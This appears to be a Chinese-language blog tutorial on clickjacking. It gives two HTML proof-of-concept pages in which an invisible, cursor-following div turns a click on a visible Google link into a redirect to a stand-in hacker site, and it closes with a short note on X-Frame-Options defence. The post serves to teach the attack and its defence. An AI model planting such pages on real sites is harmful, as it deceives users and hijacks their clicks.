ClickJacking 攻擊手法範例程式與防護
這篇文章主要說明一種網站駭客的另外一種手法 ClickJacking。
就像這張圖的例子，讓使用者以為是可以領取 Free iPAD，實際上點擊的是 “Like”
透過兩層網頁的重疊關係，並且讓FaceBook Like底層的網頁顏色透明化，
使用者只看到最上一層 “Claim your Free iPAD”的網頁。像這樣的攻擊手法就稱為 “ClickJacking”
Chrome 程式範例
程式測試說明:
- 1. 顏色可以設定為 #FFFFFF，也就是白色透明處理，讓使用者看不到。
- 色系設定可以參考 http://www.color-hex.com/color/ffffff
- 2. “http://www.HackerWebSite/ClickJacking” 為誘導使用者要點選的網站，也就是實際會前往的網站。因為顏色設定為白色，所以使用者不知道。
- 3. “http://www.google.com” : 這是讓使用者以為點選到之後會前往的網站
[pastacode lang=”markup” message=”” highlight=”” provider=”manual”]
<html>
<style type="text/css">
<!--
.style1 {
font-size: 50px;
font-weight: bold;
}
.style2 {
color: #FF0000;
font-weight: bold;
font-size: 24px;
}
-->
</style>
<body>
<span class="style2">Chrome ClickJacking Sample</span>
<p>Click 'Google Website' will re-direct to 'http://www.targethacker.com/'</p>
<p>Mouse move Over HackerSite will also re-direct to 'http://www.targethacker.com/'</p>
<p>
<div class="style1" id="open"
style="position:absolute; width:8px; height:7px; background:#FFFFFF; border:1px; left: 19px; top: 155px;"
onmouseover="document.location='http://www.TargetHacker.com/';">HackerSite</div></p>
<p><strong>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="https://www.google.com/" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">Google Website</font></a></p>
<p><br>
</p>
</html>
[/pastacode]
將上述程式碼編輯儲存為 HTML檔案，並且用瀏覽器開啟，執行結果如下圖
FireFox 程式範例
[pastacode lang=”markup” message=”” highlight=”” provider=”manual”]
<html>
<style type="text/css">
</style>
<body>
<p align="center"><code><font face="Calibri" size="6" color="#FF0000">FireFox</font></code><code class="xml plain"><font face="Calibri" size="6" color="#FF0000"> Browser </font></code>
<font face="Arial" size="2"><code class="xml plain">
</code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">
<b>Clickjacking Testing</b></code></font></p>
<p align="center"> </p>
<div class="style1" id="open"
style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"
onmouseover="document.location='http://www.HackerWebSite/ClickJacking';">
<p align="center">
<font size="1" color="#FFFFFF">ClickJacking</font></div>
<p align="center"><strong>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.google.com" onClick="updatebox(event)"><font style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>
<p><br>
</p>
<div class="style1" id="open0" style="position:absolute; width:2px; height:13px; background:#7f7f78; border:10px none; left: 354px; top: 146px;" onmouseover="document.location='http://www.HackerWebSite/ClickJacking';">
<p align="center">
<font size="3" color="#7f7f78">ClickJacking</font></div>
<p align="center"> </p>
<p align="center"> </p>
<p align="center">Click the Google link, but it will link to www.HackerWebsite/ClickJacking</p>
<p align="center">ClickJacking PoC</p>
</html>
[/pastacode]
ClickJacking 防護
最常見的防護方式是在 Http Header中指定X-Frame-Options。
但是這個方式僅能確保 iFrame中是否允許瀏覽其他網站。
https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet